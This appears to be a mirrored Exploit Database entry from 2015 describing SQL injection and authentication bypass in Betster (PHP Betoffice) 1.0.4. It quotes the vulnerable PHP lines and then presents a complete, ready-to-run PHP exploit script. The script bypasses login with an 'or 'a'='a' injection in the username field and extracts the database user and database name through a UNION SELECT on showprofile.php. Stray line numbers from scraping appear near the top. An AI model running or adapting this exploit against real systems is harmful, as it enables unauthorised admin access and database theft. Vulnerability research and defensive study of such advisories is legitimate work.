PHP Betoffice (Betster) 1.0.4 – Authentication Bypass / SQL Injection

Exploit Database
131 阅读

作者： ZeQ3uL

日期： 2015-03-06
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/36306/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

<?php

,--^----------,--------,-----,-------^--,

| ||||||||| <code>--------' |O .. CWH Underground Hacking Team ..

</code>+---------------------------^----------|

\_,-------, _________________________|

/ XXXXXX /</code>| /

/ XXXXXX /<code>\ /

/ XXXXXX /\______(

/ XXXXXX /

(________(

</code>------'

Exploit Title : Betster (PHP Betoffice) Authentication Bypass and SQL Injection

Date: 6 March 2015

Exploit Author: CWH Underground

Discovered By : ZeQ3uL

Site: www.2600.in.th

Vendor Homepage : http://betster.sourceforge.net/

Software Link : http://downloads.sourceforge.net/project/betster/betster-1.0.4.zip

Version : 1.0.4

Tested on : Linux, PHP 5.3.9

####################

SOFTWARE DESCRIPTION

####################

Betster is a Software to create a online bet-office based on PHP, MySQL and JavaScript. The system works with variable odds

(betting-exchange with variable decimal odds) and provides a CMS-like backend for handling the bets, users and categories.

################################################################

VULNERABILITY: SQL Injection (showprofile.php, categoryedit.php)

################################################################

An attacker might execute arbitrary SQL commands on the database server with this vulnerability.

User tainted data is used when creating the database query that will be executed on the database management system (DBMS).

An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system

depending on the query, DBMS and configuration.

/showprofile.php (LINE: 63)

-----------------------------------------------------------------------------

if (($session->getState()) &&

(($user->getStatus() == "administrator") ||

($user->getStatus() == "betmaster"))){

$mainhtml = file_get_contents("tpl/showprofile.inc");

$id = htmlspecialchars($_GET['id']); <<<< WTF !!

$xuser = $db_mapper->getUserById($id);

-----------------------------------------------------------------------------

/categoryedit.php (LINE: 52)

-----------------------------------------------------------------------------

$id = htmlspecialchars($_GET['id']); <<<< WTF !!

$action = htmlspecialchars($_GET['ac']);

-----------------------------------------------------------------------------

###########################################

VULNERABILITY: Authentication Bypass (SQLi)

###########################################

File index.php (Login function) has SQL Injection vulnerability, "username" parameter supplied in POST parameter for checking valid credentials.

The "username" parameter is not validated before passing into SQL query which arise authentication bypass issue.

#####################################################

EXPLOIT

#####################################################

error_reporting(0);

set_time_limit(0);

ini_set("default_socket_timeout", 50);

function http_send($host, $packet)

{

if (!($sock = fsockopen($host, 80)))

die("\n[-] No response from {$host}:80\n");

fputs($sock, $packet);

return stream_get_contents($sock);

}

print "\n+---------------------------------------------+";

print "\n| Betster Auth Bypass & SQL Injection Exploit |";

print "\n+---------------------------------------------+\n";

if ($argc < 3)

{

print "\nUsage......: php $argv[0] <host> <path>\n";

print "\nExample....: php $argv[0] localhost /";

print "\nExample....: php $argv[0] localhost /betster/\n";

die();

}

$host = $argv[1];

$path = $argv[2];

$payload = "username=admin%27+or+%27a%27%3D%27a&password=cwh&login=LOGIN";

$packet= "GET {$path} HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";

print "\n,--^----------,--------,-----,-------^--, \n";

print "| ||||||||| <code>--------' |O \n";

print "</code>+---------------------------^----------| \n";

print "<code>\_,-------, _________________________| \n";

print "/ XXXXXX /</code>| /\n";

print " / XXXXXX /<code>\ / \n";

print "/ XXXXXX /\______(\n";

print " / XXXXXX / \n";

print "/ XXXXXX / .. CWH Underground Hacking Team ..\n";

print " (________( \n";

print "</code>------'\n";

$response = http_send($host, $packet);

if (!preg_match("/Set-Cookie: ([^;]*);/i", $response, $sid)) die("\n[-] Session ID not found!\n");

$packet= "POST {$path}index.php HTTP/1.0\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Cookie: {$sid[1]}\r\n";

$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";

$packet .= "Content-Length: ".strlen($payload)."\r\n";

$packet .= "Connection: close\r\n\r\n{$payload}";

print "\n\n[+] Bypassing Authentication...\n";

sleep(2);

$response=http_send($host, $packet);

preg_match('/menutitle">ADMIN/s', $response) ? print "\n[+] Authentication Bypass Successfully !!\n" : die("\n[-] Bypass Authentication Failed !!\n");

$packet= "GET {$path}showprofile.php?id=1%27%20and%201=2%20union%20select%201,concat(0x3a3a,0x557365723d,user(),0x202c2044425f4e616d653d,database(),0x3a3a),3,4,5,6,7--+ HTTP/1.0\r\n";

$packet .= "Cookie: {$sid[1]}\r\n";

$packet .= "Host: {$host}\r\n";

$packet .= "Connection: close\r\n\r\n";

print "[+] Performing SQL Injection Attack\n";

sleep(2);

$response1=http_send($host, $packet);

preg_match('/::(.*)::/', $response1, $m) ? print "\n$m[1]\n" : die("\n[-] Exploit failed!\n");

################################################################################################################

# Greetz: ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2

################################################################################################################